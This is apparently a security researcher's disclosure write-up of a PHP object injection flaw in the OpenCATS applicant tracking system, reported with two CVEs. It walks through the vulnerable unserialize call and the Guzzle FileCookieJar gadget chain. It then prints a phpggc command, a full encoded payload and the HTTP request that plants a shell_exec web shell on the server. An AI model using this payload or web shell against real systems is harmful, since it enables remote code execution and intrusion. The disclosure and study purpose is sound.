Introduction
OpenCATS is an application tracking system that is written in PHP. More about OpenCATS can be seen here: https://www.opencats.org/. OpenCATS is vulnerable to PHP Object injection, by leveraging this vulnerability, it is possible to conduct arbitrary file write and execute arbitrary code on a system.
Technical Details
OpenCATS has an activity area to keep track of activities.
The following request is being sent to the application as part of a normal application workflow.
The parametersactivity:ActivityDataGrid parameter is sending serialized data as seen below which is being deserialized by the application using the unserialize function.
1
a:9:{s:10:"rangeStart";i:0;s:10:"maxResults";i:15;s:13:"filterVisible";b:0;s:9:"startDate";s:0:"";s:7:"endDate";s:0:"";s:6:"period";s:37:"DATE_SUB(CURDATE(), INTERVAL 1 MONTH)";s:6:"sortBy";s:15:"dateCreatedSort";s:13:"sortDirection";s:4:"DESC";s:11:"filterAlpha";s:1:"L";}
The unserialize function can be seen in DataGrid.php
1
https://github.com/opencats/OpenCATS/blob/develop/lib/DataGrid.php#L272
To exploit with vulnerability, a POP gadget chain can be created using guzzlehttp. A __destruct
magic method available within /var/www/public/vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php
can be leveraged to write arbitrary files to the system.
The relevant code that needs to be triggered can be seen below:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public function __destruct()
{
$this->save($this->filename);
}
/**
* Saves the cookies to a file.
*
* @param string $filename File to save
* @throws \RuntimeException if the file cannot be found or created
*/
public function save($filename)
{
$json = [];
foreach ($this as $cookie) {
/** @var SetCookie $cookie */
if (CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) {
$json[] = $cookie->toArray();
}
}
$jsonStr = \GuzzleHttp\json_encode($json);
if (false === file_put_contents($filename, $jsonStr)) {
throw new \RuntimeException("Unable to save file {$filename}");
}
}
In the above example, the destruct()
magic method calls the save() method on the FileCookieJar
class. The save method take a value called filename which is a property of an object, The contents of th is file comes from the $json array which get the value from $cookie->toArray()
, and $cookie being an object.
Multiple checks are also done to ensure that $cookie->getExpires() returns true and $cookie->getDiscard() returns false. After these checks, The $json array
is then json encoded and written to a file using the file_put_contents function.
This is an already known gadget found by cf which is available within Guzzle versions 6.0.0 <= 6.3.3+
phpggc can be used to generate a serialized exploit payload for this gadget
A payload such as <?php echo shell_exec($_GET['e'].' 2>&1'); ?>
can now be used with phpggc to generate a serialized gadget chain which will store shell.php within /var/www/public/shell.php
of the target OpenCAT system.
1
2
💻 📂 🍣 master ❯ ./phpggc -u --fast-destruct Guzzle/FW1 /var/www/public/shell.php /tmp/shell.php
a%3A2%3A%7Bi%3A7%3BO%3A31%3A%22GuzzleHttp%5CCookie%5CFileCookieJar%22%3A4%3A%7Bs%3A41%3A%22%00GuzzleHttp%5CCookie%5CFileCookieJar%00filename%22%3Bs%3A25%3A%22%2Fvar%2Fwww%2Fpublic%2Fshell.php%22%3Bs%3A52%3A%22%00GuzzleHttp%5CCookie%5CFileCookieJar%00storeSessionCookies%22%3Bb%3A1%3Bs%3A36%3A%22%00GuzzleHttp%5CCookie%5CCookieJar%00cookies%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A27%3A%22GuzzleHttp%5CCookie%5CSetCookie%22%3A1%3A%7Bs%3A33%3A%22%00GuzzleHttp%5CCookie%5CSetCookie%00data%22%3Ba%3A3%3A%7Bs%3A7%3A%22Expires%22%3Bi%3A1%3Bs%3A7%3A%22Discard%22%3Bb%3A0%3Bs%3A5%3A%22Value%22%3Bs%3A45%3A%22%3C%3Fphp+echo+shell_exec%28%24_GET%5B%27e%27%5D.%27+2%3E%261%27%29%3B+%3F%3E%22%3B%7D%7D%7Ds%3A39%3A%22%00GuzzleHttp%5CCookie%5CCookieJar%00strictMode%22%3BN%3B%7Di%3A7%3Bi%3A7%3B%7D
The request with the payload can now be sent.
1
2
3
4
5
6
7
8
9
10
GET /index.php?m=activity¶metersactivity%3AActivityDataGrid=a%3A2%3A%7Bi%3A7%3BO%3A31%3A%22GuzzleHttp%5CCookie%5CFileCookieJar%22%3A4%3A%7Bs%3A41%3A%22%00GuzzleHttp%5CCookie%5CFileCookieJar%00filename%22%3Bs%3A25%3A%22%2Fvar%2Fwww%2Fpublic%2Fshell.php%22%3Bs%3A52%3A%22%00GuzzleHttp%5CCookie%5CFileCookieJar%00storeSessionCookies%22%3Bb%3A1%3Bs%3A36%3A%22%00GuzzleHttp%5CCookie%5CCookieJar%00cookies%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A27%3A%22GuzzleHttp%5CCookie%5CSetCookie%22%3A1%3A%7Bs%3A33%3A%22%00GuzzleHttp%5CCookie%5CSetCookie%00data%22%3Ba%3A3%3A%7Bs%3A7%3A%22Expires%22%3Bi%3A1%3Bs%3A7%3A%22Discard%22%3Bb%3A0%3Bs%3A5%3A%22Value%22%3Bs%3A45%3A%22%3C%3Fphp+echo+shell_exec%28%24_GET%5B%27e%27%5D.%27+2%3E%261%27%29%3B+%3F%3E%22%3B%7D%7D%7Ds%3A39%3A%22%00GuzzleHttp%5CCookie%5CCookieJar%00strictMode%22%3BN%3B%7Di%3A7%3Bi%3A7%3B%7D HTTP/1.12
Host: dvws.local
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://dvws.local/index.php?m=activity
Cookie: _pc_tvs=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE2MDkzNjMwNTYsInB0ZyI6eyJjbWY6c2ciOnsiODYwIjoxLCIxMDA3IjoxfSwiX2MiOjE2MDkzNTgwMjEsIl91IjoxNjA5MzU5MzI3fSwiZXhwIjoxNjQwODk5MDU2fQ.OFq8osGBuTAJUengo4LZey2wBuonlgwGBvwJ327pHbQ; _pc_vis=da58a38788948fae; _ga=GA1.2.1963052574.1609358122; sugar_user_theme=SuiteP; ck_login_id_20=1; ck_login_language_20=en_us; EmailGridWidths=0=10&1=10&2=150&3=250&4=175&5=125; Users_divs=Users_aclroles_v%3Dtrue%23undefined%3D%23; ProspectLists_divs=ProspectLists_contacts_v%3Dtrue%23undefined%3D%23ProspectLists_prospects_v%3Dtrue%23; CATS=0cf6e6265f75d23a9abbcf8d70091118
Upgrade-Insecure-Requests: 1
The shell.php
can now be leveraged to execute arbitrary code.
Note: Multiple other areas within OpenCATs are also taking deserialized user input which can be leveraged for the same vulnerability. Also, Multiple Cross-site Scripting (XSS) issues also exist on this codebase.
I’ve opened a GitHub issue to report this issue and CVE has assigned two CVEs as well: CVE-2021-25294 and CVE-2021-25295